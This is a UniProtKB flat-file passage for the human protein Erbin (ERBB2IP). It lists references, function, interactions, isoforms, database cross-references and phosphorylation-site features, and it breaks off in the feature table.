DT 17-OCT-2006, sequence version 2.
DT 07-SEP-2016, entry version 157.
DE RecName: Full=Erbin {ECO:0000303|PubMed:10878805};
DE AltName: Full=Densin-180-like protein;
DE AltName: Full=Erbb2-interacting protein {ECO:0000303|PubMed:10878805};
DE AltName: Full=Protein LAP2;
GN Name=ERBIN {ECO:0000303|PubMed:10878805};
GN Synonyms=ERBB2IP {ECO:0000303|PubMed:10878805},
GN KIAA1225 {ECO:0000312|EMBL:BAA86539.2}, LAP2;
OS Homo sapiens (Human).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Euarchontoglires; Primates; Haplorrhini;
OC Catarrhini; Hominidae; Homo.
OX NCBI_TaxID=9606;
RN [1]
RP NUCLEOTIDE SEQUENCE [MRNA] (ISOFORM 2), INTERACTION WITH ERBB2, TISSUE
RP SPECIFICITY, SUBCELLULAR LOCATION, AND FUNCTION.
RC TISSUE=B-cell;
RX PubMed=10878805; DOI=10.1038/35017038;
RA Borg J.-P., Marchetto S., Le Bivic A., Ollendorff V.,
RA Jaulin-Bastard F., Saito H., Fournier E., Adelaide J., Margolis B.,
RA Birnbaum D.;
RT "ERBIN: a basolateral PDZ protein that interacts with the mammalian
RT ERBB2/HER2 receptor.";
RL Nat. Cell Biol. 2:407-414(2000).
RN [2]
RP NUCLEOTIDE SEQUENCE [MRNA] (ISOFORMS 1; 2; 3; 4; 5; 6 AND 7),
RP INTERACTION WITH BPAG1; DST AND ITGB4, SUBCELLULAR LOCATION, AND
RP VARIANT GLU-1207.
RX PubMed=11375975; DOI=10.1074/jbc.M011005200;
RA Favre B., Fontao L., Koster J., Shafaatian R., Jaunin F.,
RA Saurat J.-H., Sonnenberg A., Borradori L.;
RT "The hemidesmosomal protein bullous pemphigoid antigen 1 and the
RT integrin beta 4 subunit bind to ERBIN. Molecular cloning of multiple
RT alternative splice variants of ERBIN and analysis of their tissue
RT expression.";
RL J. Biol. Chem. 276:32427-32436(2001).
RN [3]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE MRNA] (ISOFORM 2).
RC TISSUE=Brain;
RX PubMed=10574462; DOI=10.1093/dnares/6.5.337;
RA Nagase T., Ishikawa K., Kikuno R., Hirosawa M., Nomura N., Ohara O.;
RT "Prediction of the coding sequences of unidentified human genes. XV.
RT The complete sequences of 100 new cDNA clones from brain which code
RT for large proteins in vitro.";
RL DNA Res. 6:337-345(1999).
RN [4]
RP SEQUENCE REVISION.
RX PubMed=12168954; DOI=10.1093/dnares/9.3.99;
RA Nakajima D., Okazaki N., Yamakawa H., Kikuno R., Ohara O., Nagase T.;
RT "Construction of expression-ready cDNA clones for KIAA genes: manual
RT curation of 330 KIAA cDNA clones.";
RL DNA Res. 9:99-106(2002).
RN [5]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE MRNA] (ISOFORM 4), AND NUCLEOTIDE
RP SEQUENCE [LARGE SCALE MRNA] OF 601-1206 (ISOFORM 1).
RC TISSUE=Teratocarcinoma, and Uterus;
RX PubMed=14702039; DOI=10.1038/ng1285;
RA Ota T., Suzuki Y., Nishikawa T., Otsuki T., Sugiyama T., Irie R.,
RA Wakamatsu A., Hayashi K., Sato H., Nagai K., Kimura K., Makita H.,
RA Sekine M., Obayashi M., Nishi T., Shibahara T., Tanaka T., Ishii S.,
RA Yamamoto J., Saito K., Kawai Y., Isono Y., Nakamura Y., Nagahari K.,
RA Murakami K., Yasuda T., Iwayanagi T., Wagatsuma M., Shiratori A.,
RA Sudo H., Hosoiri T., Kaku Y., Kodaira H., Kondo H., Sugawara M.,
RA Takahashi M., Kanda K., Yokoi T., Furuya T., Kikkawa E., Omura Y.,
RA Abe K., Kamihara K., Katsuta N., Sato K., Tanikawa M., Yamazaki M.,
RA Ninomiya K., Ishibashi T., Yamashita H., Murakawa K., Fujimori K.,
RA Tanai H., Kimata M., Watanabe M., Hiraoka S., Chiba Y., Ishida S.,
RA Ono Y., Takiguchi S., Watanabe S., Yosida M., Hotuta T., Kusano J.,
RA Kanehori K., Takahashi-Fujii A., Hara H., Tanase T.-O., Nomura Y.,
RA Togiya S., Komai F., Hara R., Takeuchi K., Arita M., Imose N.,
RA Musashino K., Yuuki H., Oshima A., Sasaki N., Aotsuka S.,
RA Yoshikawa Y., Matsunawa H., Ichihara T., Shiohata N., Sano S.,
RA Moriya S., Momiyama H., Satoh N., Takami S., Terashima Y., Suzuki O.,
RA Nakagawa S., Senoh A., Mizoguchi H., Goto Y., Shimizu F., Wakebe H.,
RA Hishigaki H., Watanabe T., Sugiyama A., Takemoto M., Kawakami B.,
RA Yamazaki M., Watanabe K., Kumagai A., Itakura S., Fukuzumi Y.,
RA Fujimori Y., Komiyama M., Tashiro H., Tanigami A., Fujiwara T.,
RA Ono T., Yamada K., Fujii Y., Ozaki K., Hirao M., Ohmori Y.,
RA Kawabata A., Hikiji T., Kobatake N., Inagaki H., Ikema Y., Okamoto S.,
RA Okitani R., Kawakami T., Noguchi S., Itoh T., Shigeta K., Senba T.,
RA Matsumura K., Nakajima Y., Mizuno T., Morinaga M., Sasaki M.,
RA Togashi T., Oyama M., Hata H., Watanabe M., Komatsu T.,
RA Mizushima-Sugano J., Satoh T., Shirai Y., Takahashi Y., Nakagawa K.,
RA Okumura K., Nagase T., Nomura N., Kikuchi H., Masuho Y., Yamashita R.,
RA Nakai K., Yada T., Nakamura Y., Ohara O., Isogai T., Sugano S.;
RT "Complete sequencing and characterization of 21,243 full-length human
RT cDNAs.";
RL Nat. Genet. 36:40-45(2004).
RN [6]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RX PubMed=15372022; DOI=10.1038/nature02919;
RA Schmutz J., Martin J., Terry A., Couronne O., Grimwood J., Lowry S.,
RA Gordon L.A., Scott D., Xie G., Huang W., Hellsten U., Tran-Gyamfi M.,
RA She X., Prabhakar S., Aerts A., Altherr M., Bajorek E., Black S.,
RA Branscomb E., Caoile C., Challacombe J.F., Chan Y.M., Denys M.,
RA Detter J.C., Escobar J., Flowers D., Fotopulos D., Glavina T.,
RA Gomez M., Gonzales E., Goodstein D., Grigoriev I., Groza M.,
RA Hammon N., Hawkins T., Haydu L., Israni S., Jett J., Kadner K.,
RA Kimball H., Kobayashi A., Lopez F., Lou Y., Martinez D., Medina C.,
RA Morgan J., Nandkeshwar R., Noonan J.P., Pitluck S., Pollard M.,
RA Predki P., Priest J., Ramirez L., Retterer J., Rodriguez A.,
RA Rogers S., Salamov A., Salazar A., Thayer N., Tice H., Tsai M.,
RA Ustaszewska A., Vo N., Wheeler J., Wu K., Yang J., Dickson M.,
RA Cheng J.-F., Eichler E.E., Olsen A., Pennacchio L.A., Rokhsar D.S.,
RA Richardson P., Lucas S.M., Myers R.M., Rubin E.M.;
RT "The DNA sequence and comparative analysis of human chromosome 5.";
RL Nature 431:268-274(2004).
RN [7]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE MRNA] (ISOFORMS 2; 8 AND 9), AND
RP VARIANTS LEU-274 AND VAL-313.
RC TISSUE=Cerebellum, and Skin;
RX PubMed=15489334; DOI=10.1101/gr.2596504;
RG The MGC Project Team;
RT "The status, quality, and expansion of the NIH full-length cDNA
RT project: the Mammalian Gene Collection (MGC).";
RL Genome Res. 14:2121-2127(2004).
RN [8]
RP INTERACTION WITH DELTA CATENIN AND ARVCF.
RX PubMed=11821434; DOI=10.1074/jbc.M200818200;
RA Laura R.P., Witt A.S., Held H.A., Gerstner R., Deshayes K.,
RA Koehler M.F.T., Kosik K.S., Sidhu S.S., Lasky L.A.;
RT "The Erbin PDZ domain binds with high affinity and specificity to the
RT carboxyl termini of delta-catenin and ARVCF.";
RL J. Biol. Chem. 277:12906-12914(2002).
RN [9]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT TYR-920, AND IDENTIFICATION
RP BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RC TISSUE=Leukemic T-cell;
RX PubMed=15144186; DOI=10.1021/ac035352d;
RA Brill L.M., Salomon A.R., Ficarro S.B., Mukherji M., Stettler-Gill M.,
RA Peters E.C.;
RT "Robust phosphoproteomic profiling of tyrosine phosphorylation sites
RT from human T cells using immobilized metal affinity chromatography and
RT tandem mass spectrometry.";
RL Anal. Chem. 76:2763-2772(2004).
RN [10]
RP FUNCTION, INTERACTION WITH NOD2, SUBCELLULAR LOCATION, AND
RP IDENTIFICATION BY MASS SPECTROMETRY.
RX PubMed=16203728; DOI=10.1074/jbc.M508538200;
RA McDonald C., Chen F.F., Ollendorff V., Ogura Y., Marchetto S.,
RA Lecine P., Borg J.P., Nunez G.;
RT "A role for Erbin in the regulation of Nod2-dependent NF-kappaB
RT signaling.";
RL J. Biol. Chem. 280:40301-40309(2005).
RN [11]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT TYR-972, AND IDENTIFICATION
RP BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RX PubMed=15592455; DOI=10.1038/nbt1046;
RA Rush J., Moritz A., Lee K.A., Guo A., Goss V.L., Spek E.J., Zhang H.,
RA Zha X.-M., Polakiewicz R.D., Comb M.J.;
RT "Immunoaffinity profiling of tyrosine phosphorylation in cancer
RT cells.";
RL Nat. Biotechnol. 23:94-101(2005).
RN [12]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT SER-440, AND IDENTIFICATION
RP BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RC TISSUE=Cervix carcinoma;
RX PubMed=17081983; DOI=10.1016/j.cell.2006.09.026;
RA Olsen J.V., Blagoev B., Gnad F., Macek B., Kumar C., Mortensen P.,
RA Mann M.;
RT "Global, in vivo, and site-specific phosphorylation dynamics in
RT signaling networks.";
RL Cell 127:635-648(2006).
RN [13]
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RC TISSUE=Platelet;
RX PubMed=18088087; DOI=10.1021/pr0704130;
RA Zahedi R.P., Lewandrowski U., Wiesner J., Wortelkamp S., Moebius J.,
RA Schuetz C., Walter U., Gambaryan S., Sickmann A.;
RT "Phosphoproteome of resting human platelets.";
RL J. Proteome Res. 7:526-534(2008).
RN [14]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT SER-569; SER-857; THR-917
RP AND SER-1286, AND IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE
RP ANALYSIS].
RC TISSUE=Cervix carcinoma;
RX PubMed=18669648; DOI=10.1073/pnas.0805139105;
RA Dephoure N., Zhou C., Villen J., Beausoleil S.A., Bakalarski C.E.,
RA Elledge S.J., Gygi S.P.;
RT "A quantitative atlas of mitotic phosphorylation.";
RL Proc. Natl. Acad. Sci. U.S.A. 105:10762-10767(2008).
RN [15]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT SER-872; THR-917; SER-931
RP AND SER-1158, AND IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE
RP ANALYSIS].
RC TISSUE=Leukemic T-cell;
RX PubMed=19690332; DOI=10.1126/scisignal.2000007;
RA Mayya V., Lundgren D.H., Hwang S.-I., Rezaul K., Wu L., Eng J.K.,
RA Rodionov V., Han D.K.;
RT "Quantitative phosphoproteomic analysis of T cell receptor signaling
RT reveals system-wide modulation of protein-protein interactions.";
RL Sci. Signal. 2:RA46-RA46(2009).
RN [16]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT SER-569; SER-602 AND
RP SER-603, AND IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE
RP ANALYSIS].
RC TISSUE=Cervix carcinoma;
RX PubMed=20068231; DOI=10.1126/scisignal.2000475;
RA Olsen J.V., Vermeulen M., Santamaria A., Kumar C., Miller M.L.,
RA Jensen L.J., Gnad F., Cox J., Jensen T.S., Nigg E.A., Brunak S.,
RA Mann M.;
RT "Quantitative phosphoproteomics reveals widespread full
RT phosphorylation site occupancy during mitosis.";
RL Sci. Signal. 3:RA3-RA3(2010).
RN [17]
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RX PubMed=21406692; DOI=10.1126/scisignal.2001570;
RA Rigbolt K.T., Prokhorova T.A., Akimov V., Henningsen J.,
RA Johansen P.T., Kratchmarova I., Kassem M., Mann M., Olsen J.V.,
RA Blagoev B.;
RT "System-wide temporal characterization of the proteome and
RT phosphoproteome of human embryonic stem cell differentiation.";
RL Sci. Signal. 4:RS3-RS3(2011).
RN [18]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT THR-485; SER-620; SER-872;
RP SER-1158 AND SER-1179, AND IDENTIFICATION BY MASS SPECTROMETRY [LARGE
RP SCALE ANALYSIS].
RC TISSUE=Cervix carcinoma, and Erythroleukemia;
RX PubMed=23186163; DOI=10.1021/pr300630k;
RA Zhou H., Di Palma S., Preisinger C., Peng M., Polat A.N., Heck A.J.,
RA Mohammed S.;
RT "Toward a comprehensive characterization of a human cancer cell
RT phosphoproteome.";
RL J. Proteome Res. 12:260-271(2013).
RN [19]
RP PHOSPHORYLATION [LARGE SCALE ANALYSIS] AT THR-485 AND SER-852, AND
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RC TISSUE=Liver;
RX PubMed=24275569; DOI=10.1016/j.jprot.2013.11.014;
RA Bian Y., Song C., Cheng K., Dong M., Wang F., Huang J., Sun D.,
RA Wang L., Ye M., Zou H.;
RT "An enzyme assisted RP-RPLC approach for in-depth analysis of human
RT liver phosphoproteome.";
RL J. Proteomics 96:253-262(2014).
RN [20]
RP IDENTIFICATION BY MASS SPECTROMETRY [LARGE SCALE ANALYSIS].
RX PubMed=25944712; DOI=10.1002/pmic.201400617;
RA Vaca Jacome A.S., Rabilloud T., Schaeffer-Reiss C., Rompais M.,
RA Ayoub D., Lane L., Bairoch A., Van Dorsselaer A., Carapito C.;
RT "N-terminome analysis of the human mitochondrial proteome.";
RL Proteomics 15:2519-2524(2015).
RN [21]
RP X-RAY CRYSTALLOGRAPHY (1.25 ANGSTROMS) OF 1321-1412 IN COMPLEX WITH
RP ERBB2 C-TERMINUS.
RX PubMed=12444095; DOI=10.1074/jbc.C200571200;
RA Birrane G., Chung J., Ladias J.A.;
RT "Novel mode of ligand recognition by the Erbin PDZ domain.";
RL J. Biol. Chem. 278:1399-1402(2003).
RN [22]
RP STRUCTURE BY NMR OF 1314-1412 IN COMPLEX WITH PHAGE-DERIVED PEPTIDE.
RX PubMed=12446668; DOI=10.1074/jbc.M209751200;
RA Skelton N.J., Koehler M.F.T., Zobel K., Wong W.L., Yeh S.,
RA Pisabarro M.T., Yin J.P., Lasky L.A., Sidhu S.S.;
RT "Origins of PDZ domain ligand specificity. Structure determination and
RT mutagenesis of the Erbin PDZ domain.";
RL J. Biol. Chem. 278:7645-7654(2003).
RN [23]
RP X-RAY CRYSTALLOGRAPHY (1.0 ANGSTROMS) OF 1314-1412.
RX PubMed=16737969; DOI=10.1074/jbc.M602901200;
RA Appleton B.A., Zhang Y., Wu P., Yin J.P., Hunziker W., Skelton N.J.,
RA Sidhu S.S., Wiesmann C.;
RT "Comparative structural analysis of the erbin PDZ domain and the first
RT PDZ domain of ZO-1. Insights into determinants of PDZ domain
RT specificity.";
RL J. Biol. Chem. 281:22312-22320(2006).
CC -!- FUNCTION: Acts as an adapter for the receptor ERBB2, in epithelia.
CC By binding the unphosphorylated 'Tyr-1248' of receptor ERBB2, it
CC may contribute to stabilize this unphosphorylated state
CC (PubMed:16203728). Inhibits NOD2-dependent NF-kappa-B signaling
CC and proinflammatory cytokine secretion (PubMed:16203728).
CC {ECO:0000269|PubMed:10878805, ECO:0000269|PubMed:16203728}.
CC -!- SUBUNIT: Interacts with ERBB2, BPAG1 and ITGB4 (PubMed:10878805,
CC PubMed:11375975, PubMed:12444095). May favor the localization of
CC ERBB2, by restricting its presence to the basolateral membrane of
CC epithelial cells. Also found to interact with ARVCF and delta
CC catenin (PubMed:11821434). Interacts (via C-terminus) with DST
CC Isoform 3 (via N-terminus) (PubMed:11375975). Interacts with NOD2
CC (via CARD domain) (PubMed:16203728). {ECO:0000269|PubMed:10878805,
CC ECO:0000269|PubMed:11375975, ECO:0000269|PubMed:11821434,
CC ECO:0000269|PubMed:12444095, ECO:0000269|PubMed:12446668,
CC ECO:0000269|PubMed:16203728}.
CC -!- INTERACTION:
CC Q9HC29:NOD2; NbExp=5; IntAct=EBI-8449250, EBI-7445625;
CC Q99569:PKP4; NbExp=4; IntAct=EBI-8449250, EBI-726447;
CC -!- SUBCELLULAR LOCATION: Cell junction, hemidesmosome
CC {ECO:0000269|PubMed:10878805, ECO:0000269|PubMed:11375975}.
CC Nucleus membrane {ECO:0000250}. Basolateral cell membrane
CC {ECO:0000269|PubMed:16203728}. Note=Found in hemidesmosomes, which
CC are cell-substrate adhesion complexes in stratified epithelia. In
CC transfected cells, either diffusely distributed over the cytoplasm
CC or concentrated at the basolateral membrane. Colocalizes with the
CC adrenergic receptors, ADREN1A and ADREN1B, at the nuclear membrane
CC of cardiac myocytes (By similarity). {ECO:0000250}.
CC -!- ALTERNATIVE PRODUCTS:
CC Event=Alternative splicing; Named isoforms=9;
CC Name=1;
CC IsoId=Q96RT1-1; Sequence=Displayed;
CC Name=2;
CC IsoId=Q96RT1-2; Sequence=VSP_010802;
CC Name=3;
CC IsoId=Q96RT1-3; Sequence=VSP_010802, VSP_010804;
CC Name=4;
CC IsoId=Q96RT1-4; Sequence=VSP_010802, VSP_010807;
CC Name=5;
CC IsoId=Q96RT1-5; Sequence=VSP_010802, VSP_010803;
CC Name=6;
CC IsoId=Q96RT1-6; Sequence=VSP_010802, VSP_010806;
CC Name=7;
CC IsoId=Q96RT1-7; Sequence=VSP_010802, VSP_010803, VSP_010804,
CC VSP_010805;
CC Name=8;
CC IsoId=Q96RT1-8; Sequence=VSP_044536;
CC Note=No experimental confirmation available.;
CC Name=9;
CC IsoId=Q96RT1-9; Sequence=VSP_047389, VSP_010802;
CC Note=No experimental confirmation available.;
CC -!- TISSUE SPECIFICITY: Highly expressed in brain, heart, kidney,
CC muscle and stomach, followed by liver, spleen and intestine.
CC {ECO:0000269|PubMed:10878805}.
CC -!- SIMILARITY: Belongs to the LAP (LRR and PDZ) protein family.
CC {ECO:0000305}.
CC -!- SIMILARITY: Contains 17 LRR (leucine-rich) repeats. {ECO:0000305}.
CC -!- SIMILARITY: Contains 1 PDZ (DHR) domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00143}.
CC -!- SEQUENCE CAUTION:
CC Sequence=AAH50692.1; Type=Miscellaneous discrepancy; Note=Contaminating sequence. Potential poly-A sequence.; Evidence={ECO:0000305};
CC Sequence=BAA91538.1; Type=Erroneous initiation; Note=Translation N-terminally extended.; Evidence={ECO:0000305};
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DR EMBL; AF263744; AAF77048.1; -; mRNA.
DR EMBL; AF276423; AAK69431.1; -; mRNA.
DR EMBL; AB033051; BAA86539.2; -; mRNA.
DR EMBL; AK001180; BAA91538.1; ALT_INIT; mRNA.
DR EMBL; AK304693; BAG65463.1; -; mRNA.
DR EMBL; AC010359; -; NOT_ANNOTATED_CDS; Genomic_DNA.
DR EMBL; AC025442; -; NOT_ANNOTATED_CDS; Genomic_DNA.
DR EMBL; BC050692; AAH50692.1; ALT_SEQ; mRNA.
DR EMBL; BC115012; AAI15013.1; -; mRNA.
DR EMBL; BC126464; AAI26465.1; -; mRNA.
DR EMBL; BC144075; AAI44076.1; -; mRNA.
DR CCDS; CCDS34172.1; -. [Q96RT1-7]
DR CCDS; CCDS3990.1; -. [Q96RT1-2]
DR CCDS; CCDS58951.1; -. [Q96RT1-9]
DR CCDS; CCDS58952.1; -. [Q96RT1-8]
DR CCDS; CCDS58953.1; -. [Q96RT1-1]
DR CCDS; CCDS58954.1; -. [Q96RT1-4]
DR RefSeq; NP_001006600.1; NM_001006600.2. [Q96RT1-7]
DR RefSeq; NP_001240626.1; NM_001253697.1. [Q96RT1-1]
DR RefSeq; NP_001240627.1; NM_001253698.1. [Q96RT1-4]
DR RefSeq; NP_001240628.1; NM_001253699.1. [Q96RT1-8]
DR RefSeq; NP_001240630.1; NM_001253701.1. [Q96RT1-9]
DR RefSeq; NP_061165.1; NM_018695.3. [Q96RT1-2]
DR UniGene; Hs.591774; -.
DR UniGene; Hs.597241; -.
DR PDB; 1MFG; X-ray; 1.25 A; A=1321-1412.
DR PDB; 1MFL; X-ray; 1.88 A; A=1321-1412.
DR PDB; 1N7T; NMR; -; A=1314-1412.
DR PDB; 2H3L; X-ray; 1.00 A; A/B=1314-1412.
DR PDB; 2QBW; X-ray; 1.80 A; A=1330-1410.
DR PDB; 3CH8; X-ray; 1.90 A; A=1330-1410.
DR PDBsum; 1MFG; -.
DR PDBsum; 1MFL; -.
DR PDBsum; 1N7T; -.
DR PDBsum; 2H3L; -.
DR PDBsum; 2QBW; -.
DR PDBsum; 3CH8; -.
DR ProteinModelPortal; Q96RT1; -.
DR SMR; Q96RT1; 1314-1412.
DR BioGrid; 120997; 103.
DR IntAct; Q96RT1; 34.
DR MINT; MINT-199447; -.
DR STRING; 9606.ENSP00000370330; -.
DR iPTMnet; Q96RT1; -.
DR PhosphoSite; Q96RT1; -.
DR SwissPalm; Q96RT1; -.
DR BioMuta; ERBB2IP; -.
DR DMDM; 116242614; -.
DR EPD; Q96RT1; -.
DR MaxQB; Q96RT1; -.
DR PaxDb; Q96RT1; -.
DR PeptideAtlas; Q96RT1; -.
DR PRIDE; Q96RT1; -.
DR Ensembl; ENST00000284037; ENSP00000284037; ENSG00000112851. [Q96RT1-1]
DR Ensembl; ENST00000380935; ENSP00000370322; ENSG00000112851. [Q96RT1-7]
DR Ensembl; ENST00000380938; ENSP00000370325; ENSG00000112851. [Q96RT1-4]
DR Ensembl; ENST00000380943; ENSP00000370330; ENSG00000112851. [Q96RT1-2]
DR Ensembl; ENST00000506030; ENSP00000426632; ENSG00000112851. [Q96RT1-8]
DR Ensembl; ENST00000508515; ENSP00000422015; ENSG00000112851. [Q96RT1-7]
DR Ensembl; ENST00000511297; ENSP00000422766; ENSG00000112851. [Q96RT1-9]
DR GeneID; 55914; -.
DR KEGG; hsa:55914; -.
DR UCSC; uc003jui.3; human. [Q96RT1-1]
DR CTD; 55914; -.
DR GeneCards; ERBB2IP; -.
DR HGNC; HGNC:15842; ERBIN.
DR HPA; HPA048606; -.
DR HPA; HPA059863; -.
DR MIM; 606944; gene.
DR neXtProt; NX_Q96RT1; -.
DR PharmGKB; PA27845; -.
DR eggNOG; ENOG410KCZ0; Eukaryota.
DR eggNOG; COG4886; LUCA.
DR GeneTree; ENSGT00840000129686; -.
DR HOGENOM; HOG000060229; -.
DR HOVERGEN; HBG052305; -.
DR InParanoid; Q96RT1; -.
DR KO; K12796; -.
DR OMA; KNMVKTV; -.
DR OrthoDB; EOG091G01EF; -.
DR PhylomeDB; Q96RT1; -.
DR TreeFam; TF351429; -.
DR Reactome; R-HSA-1227986; Signaling by ERBB2.
DR SignaLink; Q96RT1; -.
DR ChiTaRS; ERBB2IP; human.
DR EvolutionaryTrace; Q96RT1; -.
DR GeneWiki; Erbin_(protein); -.
DR GenomeRNAi; 55914; -.
DR PRO; PR:Q96RT1; -.
DR Proteomes; UP000005640; Chromosome 5.
DR Bgee; ENSG00000112851; -.
DR CleanEx; HS_ERBB2IP; -.
DR ExpressionAtlas; Q96RT1; baseline and differential.
DR Genevisible; Q96RT1; HS.
DR GO; GO:0009925; C:basal plasma membrane; NAS:UniProtKB.
DR GO; GO:0005604; C:basement membrane; TAS:ProtInc.
DR GO; GO:0016323; C:basolateral plasma membrane; IDA:UniProtKB.
DR GO; GO:0030054; C:cell junction; IDA:HPA.
DR GO; GO:0005737; C:cytoplasm; IDA:UniProtKB.
DR GO; GO:0030056; C:hemidesmosome; IDA:UniProtKB.
DR GO; GO:0031965; C:nuclear membrane; IEA:UniProtKB-SubCell.
DR GO; GO:0005654; C:nucleoplasm; IDA:HPA.
DR GO; GO:0005634; C:nucleus; IDA:UniProtKB.
DR GO; GO:0005886; C:plasma membrane; IDA:HPA.
DR GO; GO:0005176; F:ErbB-2 class receptor binding; TAS:UniProtKB.
DR GO; GO:0005178; F:integrin binding; IPI:UniProtKB.
DR GO; GO:0005102; F:receptor binding; IPI:UniProtKB.
DR GO; GO:0005200; F:structural constituent of cytoskeleton; NAS:UniProtKB.
DR GO; GO:0045175; P:basal protein localization; NAS:UniProtKB.
DR GO; GO:0007155; P:cell adhesion; NAS:UniProtKB.
DR GO; GO:0007049; P:cell cycle; NAS:UniProtKB.
DR GO; GO:0016049; P:cell growth; NAS:UniProtKB.
DR GO; GO:0071356; P:cellular response to tumor necrosis factor; IMP:UniProtKB.
DR GO; GO:0007173; P:epidermal growth factor receptor signaling pathway; TAS:UniProtKB.
DR GO; GO:0038128; P:ERBB2 signaling pathway; TAS:Reactome.
DR GO; GO:0045197; P:establishment or maintenance of epithelial cell apical/basal polarity; NAS:UniProtKB.
DR GO; GO:0007229; P:integrin-mediated signaling pathway; NAS:UniProtKB.
DR GO; GO:0045104; P:intermediate filament cytoskeleton organization; NAS:UniProtKB.
DR GO; GO:0071638; P:negative regulation of monocyte chemotactic protein-1 production; IEA:Ensembl.
DR GO; GO:0032088; P:negative regulation of NF-kappaB transcription factor activity; IMP:UniProtKB.
DR GO; GO:0070433; P:negative regulation of nucleotide-binding oligomerization domain containing 2 signaling pathway; IMP:UniProtKB.
DR GO; GO:0006605; P:protein targeting; IEA:Ensembl.
DR GO; GO:0032496; P:response to lipopolysaccharide; IMP:UniProtKB.
DR GO; GO:0032495; P:response to muramyl dipeptide; IMP:UniProtKB.
DR GO; GO:0007165; P:signal transduction; TAS:ProtInc.
DR Gene3D; 2.30.42.10; -; 1.
DR Gene3D; 3.80.10.10; -; 4.
DR InterPro; IPR032675; L_dom-like.
DR InterPro; IPR032927; LAP2.
DR InterPro; IPR001611; Leu-rich_rpt.
DR InterPro; IPR003591; Leu-rich_rpt_typical-subtyp.
DR InterPro; IPR001478; PDZ.
DR PANTHER; PTHR23155:SF421; PTHR23155:SF421; 1.
DR Pfam; PF13855; LRR_8; 3.
DR Pfam; PF00595; PDZ; 1.
DR SMART; SM00369; LRR_TYP; 12.
DR SMART; SM00228; PDZ; 1.
DR SUPFAM; SSF50156; SSF50156; 1.
DR SUPFAM; SSF52058; SSF52058; 2.
DR PROSITE; PS51450; LRR; 15.
DR PROSITE; PS50106; PDZ; 1.
PE 1: Evidence at protein level;
KW 3D-structure; Alternative splicing; Cell junction; Cell membrane;
KW Complete proteome; Leucine-rich repeat; Membrane; Nucleus;
KW Phosphoprotein; Polymorphism; Reference proteome; Repeat.
FT CHAIN 1 1412 Erbin.
FT /FTId=PRO_0000188301.
FT REPEAT 23 44 LRR 1.
FT REPEAT 47 68 LRR 2.
FT REPEAT 70 91 LRR 3.
FT REPEAT 93 114 LRR 4.
FT REPEAT 116 137 LRR 5.
FT REPEAT 139 161 LRR 6.
FT REPEAT 162 183 LRR 7.
FT REPEAT 185 206 LRR 8.
FT REPEAT 208 229 LRR 9.
FT REPEAT 231 252 LRR 10.
FT REPEAT 254 275 LRR 11.
FT REPEAT 277 298 LRR 12.
FT REPEAT 300 321 LRR 13.
FT REPEAT 323 344 LRR 14.
FT REPEAT 346 367 LRR 15.
FT REPEAT 369 391 LRR 16.
FT REPEAT 392 413 LRR 17.
FT DOMAIN 1321 1410 PDZ. {ECO:0000255|PROSITE-
FT ProRule:PRU00143}.
FT COMPBIAS 930 934 Poly-Ser.
FT MOD_RES 440 440 Phosphoserine.
FT {ECO:0000244|PubMed:17081983}.
FT MOD_RES 444 444 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q80TH2}.
FT MOD_RES 483 483 Phosphotyrosine.
FT {ECO:0000250|UniProtKB:Q80TH2}.
FT MOD_RES 485 485 Phosphothreonine.
FT {ECO:0000244|PubMed:23186163,
FT ECO:0000244|PubMed:24275569}.
FT MOD_RES 569 569 Phosphoserine.
FT {ECO:0000244|PubMed:18669648,
FT ECO:0000244|PubMed:20068231}.
FT MOD_RES 598 598 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q80TH2}.
FT MOD_RES 602 602 Phosphoserine.
FT {ECO:0000244|PubMed:20068231}.
FT MOD_RES 603 603 Phosphoserine.
FT {ECO:0000244|PubMed:20068231}.
FT MOD_RES 620 620 Phosphoserine.
FT {ECO:0000244|PubMed:23186163}.
FT MOD_RES 715 715 Phosphoserine.
FT {ECO:0000250|UniProtKB:Q80TH2}.
FT MOD_RES 852 852 Phosphoserine.
FT {ECO:0000244|PubMed:24275569}.
FT MOD_RES 857 857 Phosphoserine.
FT {ECO:0000244|PubMed:18669648}.
FT MOD_RES 872 872 Phosphoserine.
FT {ECO:0000244|PubMed:19690332,
FT ECO:0000244|PubMed:23186163}.
FT MOD_RES 917 917 Phosphothreonine.
FT {ECO:0000244|PubMed:18669648,
FT ECO:0000244|PubMed:19690332}.
FT MOD_RES 920 920 Phosphotyrosine.
FT {ECO:0000244|PubMed:15144186}.
FT MOD_RES 931 931 Phosphoserine.
FT {ECO:0000244|PubMed:19690332}.
FT MOD_RES 972 972 Phosphotyrosine.
FT {ECO:0000244|PubMed:15592455}.
FT MOD_RES 1104 1104 Phosphotyrosine.
FT {ECO:0000250|UniProtKB:Q80TH2}.
FT MOD_RES 1158 1158 Phosphoserine.
FT {ECO:0000244|PubMed:19690332,
FT ECO:0000244|PubMed:23186163}.
FT MOD_RES 1179 1179 Phosphoserine.
FT {ECO:0000244|PubMed:23186163}.
FT MOD_RES 1286 1286 Phosphoserine.
FT {ECO:0000244|PubMed:18669648}.
FT VAR_SEQ 531 534 Missing (in isoform 9).
FT {ECO:0000303|PubMed:15489334}.
